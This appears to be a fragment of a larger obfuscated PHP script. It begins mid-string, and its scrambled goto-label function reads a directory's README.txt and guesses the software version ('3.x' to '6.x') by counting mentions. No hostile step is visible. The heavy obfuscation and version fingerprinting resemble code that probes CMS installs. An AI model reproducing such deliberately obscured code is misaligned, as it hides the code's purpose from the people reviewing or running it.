"; goto LMLlr; daWlT: if (!($s1OWX == 1)) { goto A0R89; } goto oIybm; GuG8G: function N3ZUB($F0LeY) { goto eJt0r; eJt0r: $tryGD = "5.x"; goto kCr_s; qjxfS: foreach ($egTvp as $Z0lMa => $J8pN3) { goto IIiH2; cl_pT: Njx1D: goto Q_rf_; IIiH2: if (!($J8pN3 == $FTAfg)) { goto c5Pjn; } goto AavpG; AavpG: $mEkDV[] = $Z0lMa; goto B3DP1; B3DP1: c5Pjn: goto cl_pT; Q_rf_: } goto HlYUy; xD51q: $tryGD = implode(", ", $mEkDV); goto ihDwk; eBc24: if (!file_exists($T7JuE)) { goto UrsXB; } goto YMsIh; HlYUy: k1r01: goto xD51q; kCr_s: $T7JuE = $F0LeY . "/README.txt"; goto eBc24; YMsIh: $iakIc = file_get_contents($T7JuE); goto LE9F2; fhHY0: $FTAfg = max($egTvp); goto uczbG; lCa6m: return $tryGD; goto yHCO4; ihDwk: UrsXB: goto lCa6m; LE9F2: $egTvp = array("3.x" => substr_count($iakIc, "3.x"), "4.x" => substr_count($iakIc, "4.x"), "5.x" => substr_count($iakIc, "5.x"), "6.x" => substr_count($iakIc, "6.x")); goto fhHY0; uczbG: $mEkDV = array(); goto qjxfS; yHCO4: }
?>